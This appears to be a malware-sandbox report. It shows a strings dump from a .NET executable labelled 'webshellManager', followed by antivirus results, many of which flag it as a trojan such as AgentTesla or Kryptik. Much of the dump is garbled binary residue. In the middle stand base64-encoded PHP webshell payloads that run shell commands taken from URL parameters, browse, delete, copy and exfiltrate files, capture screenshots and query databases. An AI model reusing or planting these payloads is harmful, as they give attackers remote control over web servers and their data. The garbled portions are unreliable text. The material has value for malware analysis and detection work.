@sHFvx0q4/K8lnT8Bgj7Honj9FeoJx3m09qQQKpOks/cvHlhu13IwlA6Q9a/gNBVJ5cXjmRKZ1D916MKREyEpQ+XF45kSmdQ/dejCkRMhKUPSgzApG55hJQOLjnxIL0qsdY2TttP6jIcpFBK26FGQz1ese92VWgsRJFT1srbgo5SFPIMk+jbLKTQ5ewNnKClI5csh6i5HItc6B40fr9wVIfYpUxb63Gvz4DGxgcD7qn2prJsnnb2tpZ+3zDqOUhcoTOoF0F7KDoLSLZDP3aQ5cAqh/bcGXWvQpfVDZoDC66W+BXEQw8VkWZAHPNKFE6WCHrFZSZRNnLmsFEVYbuP2vRCSCNnl0QunusjLYUjrpmh8VErpWAY1/V7I16y0VjoyjJuT69eJwLLel386l6eu5zOdayzYn9f1bz4+PeJ6zc9S6VznOgoJxyU4RtV6leF5RLtVRK4K2xwzlGl4S/N590FaRLlGOPlfKNdzdFir8QflxeOZEpnUP3XowpETISlDpZLKzGPxa3hdz4DwbjDcc2srJss/5AE3iTTPVpMvnT3lxeOZEpnUP3XowpETISlD5cXjmRKZ1D916MKREyEpQ26fR4EqClUekMyy8JYlF4mhzAzkwjl6MfyoOTTcd8YLKV4iIa2nFdRG/0tmBA5F17vQoxVBC+VMpaHf+LDY9uoLgbS3OvTHjB4z6ATcexiD+BGzDIGF8i8sdwK37YiT7hl2F/q17ITRu8puCI03h0vYgApWSMzrOwpk1K8poGk58pKbf/rDJ+Wmlx4VqSr3FRbB7ROoZSwuv5jck6gq1ANSOE4p1mBTW7tUEDC5OhN4Ggam4cNlgQPNZ62TSQI34+XF45kSmdQ/dejCkRMhKUMAdKkhCtKfMz72Xjl6d28qckd98yNwUw5Jb9wIFTEt8TieERMI4DOIsS7yxqvr31bRPtv1MS1ywR0uaoqLv9f75cXjmRKZ1D916MKREyEpQ+XF45kSmdQ/dejCkRMhKUPlxeOZEpnUP3XowpETISl
_CorExeMain
mscoree.dll
:,,#=+,
>,,)=*,
<++/=*-
=++6>*,
<++<=),
=*.C=),
>)-J=+,
<),Q=*,
=)+X<*,
>++_=*+
<+-f=+,
=*,m=*,
>*,t<*,
<),{=*,
:))=*,
>))%=*,
=++*<*+
;'.'>*,t>+,
=+-}<(-3
:++0=*,
?++5=*,
<**7=),
>)-><+,
:,,#=*,
<)-D=*,
<+-r=*,
<,,L=*-
>,,R=*-
<++Y=*-
>*-[=*,
=+-`=*,
>*-g=*+
>),o>+,
?),E=*,
=),u<*,
>)+|=*,
<++/=*,
=+-}=*,
>'.!>*+
<(/&=*+
>*-g=*,
;**+=)-
>**1<),
=,,.;).8=+,
<),Q=*,
>,,:=*,
@++$=*,
<+-r=*,
=*,\=*,
>,,F=*,
<++/=*,
=+-}=*,
>*-g=*,
<),Q=*,
=++;=*,
@++$=*,
<+-r=*,
=*,\=*,
>,,F=*,
<--"=)-
@--(=+,
=,,.<*,
?++5=*-
<++<=*,
=*.C=),
>)-J=+,
>,,R=*,
<++Y=*-
=+-`=*,
=*,h=*+
>),o>+,
=)+v=*,
=+-~=*,
:,,#=+,
>,,)=*,
<++/>*,
=++6>*,
?*.==),
<)-D=+,
=),K>*,
=++S=*-
>+-Z=*,
<*-a=*,
=),i=*,
=)+p=*-
<+-w=+,
=+-}=*,
;**+=+,
>,,:<*,
=).2=+-
;).8<+,
=(-?=+,
?),E>*,
<,,L=*,
>,,R>*,
<++Y=*+
>++_>*+
=++e=*-
=+-l=*,
<+-r=*,
>'.!=*,y=*,
@--(<*,
=,,.=*,
?++5<*,
=++;=*+
>++B>*+
<++H=)-
=*-O=)-
<*-U<),
=*,\=),
<*,b=),
=*,h=+,
>),o=+,
=),u=*,
@++$>)+|<*,
=++*=)+
>**1=+-
;).8=+-
>)->>+,
<)-D<+,
=),K=+,
<),Q<*,
=)+X=*,
<)+^>*+
=++e=*+
>++k=*,
<+-r=*,
@(0 >+-x>*,
;'.'=+-~=*,
>(--=*,
;,,4=*,
>,,:=*,
?++A<*,
=++G=*+
>++N<*+
=++T=*-
>+-Z>*,
<*-a=*,
>*-g=),
<*,n=),
>*,t=+,
:,,#<),{=+,
>,,)=*+
:++0>)+
<**7=)-
?*.=>+,
<)-D=+,
>)-J=+,
<),Q=+,
>),W>+,
<),]=*,
=)+d=*,
<)+j<*+
=++q=*-
@(0 <+-w>*,
<(/&=+-~=*,
>(-->+,
<(-3=+,
?(-9>*,
<,,@=*,
>,,F=*,
<++M=*,
=++S=*-
>+-Z=*-
=+-`=*-
<+-f<*,
=*,m=*,
>*,s>),
@(0 <++<>,,:I$$
D>VV@@@
:,,#APV
CQW&Cnw
>U[-Cpz
B^^6Ds}
@\`@Dbg
?++5=)-
<++<>+-
=*.C>,.
>)-J=-.
<),{<(/&
<),Q=-/
<),{>))%
=)+X=-.
<**7=*,
=*,z>))%
=+-`=-.
=*,z<)+j=-.
>'.!=*,
>),oC2/
=)+XC0-
<)-D=+,
=),K>*,
>,,R=+-
<++Y=+-
=+-`=+-
>*-g<+,
?--I@CG
?22Q?CG
=14X?BG
@5:`@AF
=8;h?AF
@9=p@?D
=;?y?=B
:,,#??C
>,,)??D
<++/?AF
=++6ABG
<++<?BH
<-1D@CI
<++H=).2
>'.!?47
>++_@00
<(/&>69
>++_@00
@).,>69
?00jvm;
E63Usc5
<)+jE4/
<--r=04
?,.y>02
=03d=/1
ASVJ@JP
ALNr@IO
@OQ{@IN
@(0 APW
>28)AQV
A16/APV
@;;8?PU
@<@@AOU
<*,n=*,
=),u<*,
>)+|=*,
>'.!>*+
<(/&=)-
@).,=+,
<(-3=*,
<*-U=),
>*-[;''
?(-9>*+
>+-Z;''
<,,@=*-
<++M=*,
>+-Z;''
<++H=*,
<++Y@++
=*-O>),
<++Y@++
>*,V=+,
<**7=*,
=)+X@++
<),]<*,
=)+XF..
=)+d=*,
>),WF..
=+-l=*,
@(0 =*,
>),WF..
>*,s=*,
<*,n=*,
>*,V=))
=*,z=*,
>),W=*,
?++A=*,
=++*=*,
>+-x=*,
<*,b=*,
=),K=*,
?++5=*,
=)+d=*,
>++k=*,
<+-r=*,
=*,z=*,
@(0 <*,
<(/&=*+
@).,=+,
=).2>+,
?(-9=*,
<,,@=*-
<++H=*,
=*-O>),
>),W=+,
<),]=+,
;,,4=*,
>,,:=*,
?++A<*,
=++G=*,
<++M<*+
=++T=*-
>+-Z>*,
<*-a=*,
>*-g=),
<*,n=),
>*,t=+,
:,,#<),{=+,
>,,)=*+
:++0<*+
=++6=)-
?*.=<)-
=*.C=+,
>)-J>+,
=)-P=+,
>),W>+,
<),]=+,
>),c=*,
<)+j=*,
=)+p=*-
@(0 <+-w=*-
<(/&=+-}=*-
@).,>+,
<(-3=+,
?(-9>*,
=(-?=*,
>,,F>*,
<,,L=*,
=++S>*,
<++Y=*-
=+-`=*-
<+-f<*,
=*,m=*,
>*,s>),
<--"=*,z=),
>*-[=*-
<*,b=*,
=),i=*,
=)+p=*-
<+-w=*,
=++T=*+
=+-~=*,
<*-U=*,
?++A@++$>*+
=(-?=*,
>,,)=*,
<+-w=*,
=+-`=*,
:))=+,
@++$>*,
=++*=*,
:++0=*,
<**7=),
>)-><+,
?),E=*,
<,,L=*-
<*-a=*,
<++/>59
=,,.=68
?++5>78
=++;=7:
>++B?8;
<++H>8<
=*-O?8>
<*-U>9>
=*,\?:=
;,.c>:>
>-0k>9=
?/1r?9;
:))=.2z>7<
>))%?35
;**+=47
=).2=48
?(-9=7:
=(-?=7:
>,,F?8;
<,,L>8<
=++S<*+
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
imgListExplorer.ImageStream
tsButtonAbout.Image
tsButtonAdd.Image
tsButtonSave.Image
PWqyTaHlYbf
ZWNobyAiLcKkLSIuQHBocF91bmFtZShzKS4iLcKkLS3CpC0iLkBwaHBfdW5hbWUobikuIi3CpC0twqQtIi5AcGhwX3VuYW1lKHIpLiItwqQtLcKkLSIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiItwqQtLcKkLSIuRElSRUNUT1JZX1NFUEFSQVRPUi4iLcKkLSI7
ZWNobyAiLcKkLSIuQHBocF91bmFtZShzKS4iLcKkLS3CpC0iLkBwaHBfdW5hbWUobikuIi3CpC0twqQtIi5AcGhwX3VuYW1lKHIpLiItwqQtLcKkLSIuQHBocF91bmFtZSh2KS4iLcKkLS3CpC0iLkBwaHBfdW5hbWUobSkuIi3CpC0twqQtIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iLcKkLS3CpC0iLiRfU0VSVkVSWydTRVJWRVJfQUREUiddLiItwqQtLcKkLSIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiItwqQtLcKkLSIuJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddLiItwqQtLcKkLSIuJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddLiItwqQtLcKkLSIuJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4iLcKkLS3CpC0iLiRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXS4iLcKkLS3CpC0iLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4iLcKkLS3CpC0iLnBocHZlcnNpb24oKS4iLcKkLSI7
JGMgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWyJjIl0pOyAkbCA9IGRpcm5hbWUoX19GSUxFX18pIC4gIi9zaGNtZC50eHQiOyBpZiAoUEhQX09TID09ICdXSU5OVCcgfHwgUEhQX09TID09ICdXSU4zMicgfHwgUEhQX09TID09ICdXaW5kb3dzJykgeyBzaGVsbF9leGVjKCRjIC4gIj4iIC4gJGwpOyAkbyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRsKTsgaWYgKGZpbGVfZXhpc3RzKCRsKSkgdW5saW5rKCRsKTsgfSBlbHNlIHsgJG8gPSBzaGVsbF9leGVjKCRjKTsgfSBlY2hvICItwqQtIiAuICRvIC4gIi3CpC0iOw==
JGQ9bmV3IERpcmVjdG9yeUl0ZXJhdG9yKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2MnXSkpO2ZvcmVhY2goJGQgYXMgJGspe2lmKCRrLT5pc1JlYWRhYmxlKCk9PWZhbHNlIG9yICRrLT5pc0RvdCgpKWNvbnRpbnVlO2lmKCRrLT5nZXRUeXBlKCk9PSJkaXIiKSR2YXI9JiRmb2xkZXI7ZWxzZSAkdmFyPSYkZmlsZTskdmFyLj0iLWl0bS0twqQtIi51dGY4X2VuY29kZSgieyRrfSIpLiItwqQtLcKkLSIuJGstPmdldFNpemUoKS4iLcKkLS3CpC0iLkBzdWJzdHIoc3ByaW50ZignJW8nLCRrLT5nZXRQZXJtcygpKSwtNCkuIi3CpC0twqQtIi5kYXRlKCdtL2QvWSBoOm06cycsJGstPmdldE1UaW1lKCkpLiItwqQtLcKkLSIuQG1pbWVfY29udGVudF90eXBlKCRrLT5nZXRSZWFsUGF0aCgpKS4iLcKkLS1pdG0tIjt9ZWNobyAiLXB0aMKkLSIucmVhbHBhdGgoYmFzZTY0X2RlY29kZSgkX0dFVFsnYyddKSkuIi1wdGjCpC0iLiItZmlsZcKkLSIuJGZpbGUuIi1maWxlwqQtIi4iLWZvbGRlcsKkLSIuJGZvbGRlci4iLWZvbGRlcsKkLSI7
JGM9YmFzZTY0X2RlY29kZSgkX0dFVFsnYyddKTtlY2hvICItwqQtIi5kYXRlKCJkLW0tWSBIOmk6cyIsZmlsZWF0aW1lKCRjKSkuIi3CpC0twqQtIi5kYXRlKCJkLW0tWSBIOmk6cyIsZmlsZWN0aW1lKCRjKSkuIi3CpC0twqQtIi5kYXRlKCJkLW0tWSBIOmk6cyIsZmlsZW10aW1lKCRjKSkuIi3CpC0twqQtIi5maWxlc2l6ZSgkYykuIi3CpC0twqQtIi5taW1lX2NvbnRlbnRfdHlwZSgkYykuIi3CpC0iOw==
bWtkaXIoaWNvbnYoIlVURi04IiwgIkNQMTI1MiIsIGJhc2U2NF9kZWNvZGUoJF9HRVRbImMiXSkpKTs=
JGw9aWNvbnYoIlVURi04IiwiQ1AxMjUyIixiYXNlNjRfZGVjb2RlKCRfR0VUWyJjIl0pKTtpZihpc19kaXIoJGwpKXtpZihQSFBfT1M9PT0nV2luZG93cycpe2V4ZWMoJ3JtZGlyIC1yZiAiJy4kbC4nIicpO31lbHNle2V4ZWMoJ3JkIC9zIC9xICInLiRsLiciJyk7fX1lbHNle3VubGluaygkbCk7fQ==
cmVuYW1lKGljb252KCJVVEYtOCIsIkNQMTI1MiIsYmFzZTY0X2RlY29kZSgkX0dFVFsiYyJdKSksaWNvbnYoIlVURi04IiwiQ1AxMjUyIixiYXNlNjRfZGVjb2RlKCRfR0VUWyJkIl0pKSk7
ZmlsZV9wdXRfY29udGVudHMoaWNvbnYoIlVURi04IiwgIkNQMTI1MiIsIGJhc2U2NF9kZWNvZGUoJF9HRVRbImQiXSkpLCBmaWxlX2dldF9jb250ZW50cyhiYXNlNjRfZGVjb2RlKCRfR0VUWyJjIl0pKSk7
ZWNobyAiLcKkLSIuYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cyhpY29udigiVVRGLTgiLCAiQ1AxMjUyIiwgYmFzZTY0X2RlY29kZSgkX0dFVFsiYyJdKSkpKS4iLcKkLSI7
JGltPWltYWdlZ3JhYnNjcmVlbigpO29iX3N0YXJ0KCk7aW1hZ2VwbmcoJGltKTskaW1hZ2VkYXRhPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIi1pdG0tIi5iYXNlNjRfZW5jb2RlKCRpbWFnZWRhdGEpLiItaXRtLSI7
SkdFOVlYSnlZWGtvS1Rza1lqMXRlWE54YkdsZlkyOXVibVZqZENoaVlYTmxOalJmWkdWamIyUmxLQ1JmUjBWVVd5SmpJbDBwTEdKaApjMlUyTkY5a1pXTnZaR1VvSkY5SFJWUmJJbVFpWFNrc1ltRnpaVFkwWDJSbFkyOWtaU2drWDBkRlZGc2laU0pkS1N4aVlYTmxOalJmClpHVmpiMlJsS0NSZlIwVlVXeUptSWwwcEtUc2taVDF0ZVhOeGJHbGZjWFZsY25rb0pHSXNZbUZ6WlRZMFgyUmxZMjlrWlNna1gwZEYKVkZzaVp5SmRLU2s3ZDJocGJHVW9KSEp2ZHowa1pTMCtabVYwWTJoZllYSnlZWGtvVFZsVFVVeEpYMEZUVTA5REtTbGhjbkpoZVY5dwpkWE5vS0NSaExDUnliM2NwTzJadmNtVmhZMmdvWVhKeVlYbGZhMlY1Y3lna1lWc3dYU2xoY3lBa2F5bGxZMmh2SUNjdFkyOXN3cVF0Ckp5NGtheTRuTFdOdmJNS2tMU2M3Wm05eVpXRmphQ2drWVNCaGN5QWtiR2x1WlNsN1pXTm9ieUFuTGNLa0xTYzdabTl5WldGamFDaGgKY25KaGVWOTJZV3gxWlhNb0pHeHBibVVwWVhNZ0pHbDBiU2xsWTJodklDY3RhWFJ0d3FRdEp5NGthWFJ0TGljdGFYUnR3cVF0Snp0bApZMmh2SUNjdHdxUXRKenQ5
SkhBOWFXTnZibllvSWxWVVJpMDRJaXdpUTFBeE1qVXlJaXhpWVhObE5qUmZaR1ZqYjJSbEtDUmZSMFZVV3lKaklsMHBLVHNrY0hvOWFXTnZibllvSWxWVVJpMDRJaXdpUTFBeE1qVXlJaXhpWVhObE5qUmZaR1ZqYjJSbEtDUmZSMFZVV3lKaklsMHBLUzRpTGxwSlVDSTdKSG85Ym1WM0lGcHBjRUZ5WTJocGRtVTdhV1lvSkhvdFBtOXdaVzRvSkhCNkxGcHBjRUZ5WTJocGRtVTZPa05TUlVGVVJTazlQVDFVVWxWRktYdHBaaWhwYzE5a2FYSW9KSEFwS1hza1ptWTlibVYzSUZKbFkzVnljMmwyWlVsMFpYSmhkRzl5U1hSbGNtRjBiM0lvYm1WM0lGSmxZM1Z5YzJsMlpVUnBjbVZqZEc5eWVVbDBaWEpoZEc5eUtDUndLU3hTWldOMWNuTnBkbVZKZEdWeVlYUnZja2wwWlhKaGRHOXlPanBNUlVGV1JWTmZUMDVNV1NrN1ptOXlaV0ZqYUNna1ptWWdZWE1nSkc1aGJXVTlQaVJtS1h0cFppZ2hKR1l0UG1selJHbHlLQ2twZXlSbWNEMGtaaTArWjJWMFVtVmhiRkJoZEdnb0tUc2tjbkE5YzNWaWMzUnlLQ1JtY0N4emRISnNaVzRvSkhBcEt6RXBPeVI2TFQ1aFpHUkdhV3hsS0NSbWNDd2tjbkFwTzMxOWZXVnNjMlY3SkhvdFBtRmtaRVpwYkdVb0pIQXNZbUZ6Wlc1aGJXVW9KSEFwS1R0OUpIb3RQbU5zYjNObEtDazdmV1ZqYUc4Z0pIQjZPdz09
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
wsManager
FileVersion
0.8.0.0
InternalName
n0zfPwTNgT1.exe
LegalCopyright
Copyright
Fayva
LegalTrademarks
OriginalFilename
n0zfPwTNgT1.exe
ProductName
webshellManager
ProductVersion
0.8.0.0
Assembly Version
0.8.0.0
Antivirus Signature
Bkav Clean
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.GenericKD.36932891
CMC Clean
CAT-QuickHeal Clean
ALYac Clean
Cylance Unsafe
VIPRE Trojan.Win32.Generic!BT
AegisLab Trojan.MSIL.Agensla.i!c
Sangfor Trojan.Win32.Save.a
CrowdStrike win/malicious_confidence_100% (W)
BitDefender Trojan.GenericKD.36932891
K7GW Trojan ( 0057cc681 )
K7AntiVirus Trojan ( 0057cc681 )
Baidu Clean
Cyren W32/MSIL_Kryptik.EIA.gen!Eldorado
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of MSIL/Kryptik.ABAD
APEX Malicious
Paloalto generic.ml
ClamAV Clean
Kaspersky HEUR:Trojan-PSW.MSIL.Agensla.gen
Alibaba Trojan:Win32/starter.ali1000139
NANO-Antivirus Clean
SUPERAntiSpyware Clean
Rising Trojan.Kryptik!8.8 (CLOUD)
Ad-Aware Trojan.GenericKD.36932891
Sophos ML/PE-A
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition PWS-FCWJ!84A289E78940
MaxSecure Trojan.Malware.300983.susgen
FireEye Generic.mg.84a289e78940e188
Emsisoft Trojan.GenericKD.36932891 (B)
SentinelOne Static AI - Malicious PE
GData Trojan.GenericKD.36932891
Jiangmin Clean
Webroot Clean
Avira TR/Kryptik.eopjb
MAX malware (ai score=85)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit Trojan.Generic.D2338D1B
ViRobot Clean
ZoneAlarm Clean
Microsoft Trojan:MSIL/AgentTesla.AM!MTB
Cynet Malicious (score: 100)
AhnLab-V3 Trojan/Win.AgentTesla.C4482377
Acronis Clean
McAfee Artemis!84A289E78940
TACHYON Clean
VBA32 CIL.HeapOverride.Heur
Malwarebytes Trojan.Crypt.MSIL
Panda Trj/GdSda.A
Zoner Clean
TrendMicro-HouseCall TROJ_GEN.R002H0CEK21
Tencent Clean
Yandex Trojan.AvsArher.bUbzqH
Ikarus Trojan.MSIL.Inject
eGambit Unsafe.AI_Score_99%
Fortinet MSIL/Kryptik.ABAM!tr
BitDefenderTheta Gen:NN.ZemsilF.34690.cn0@aKPd3Kk
AVG Win32:CrypterX-gen [Trj]
Cybereason malicious.09b9b9
Avast Win32:CrypterX-gen [Trj]
Qihoo-360 Clean
No IRMA results available.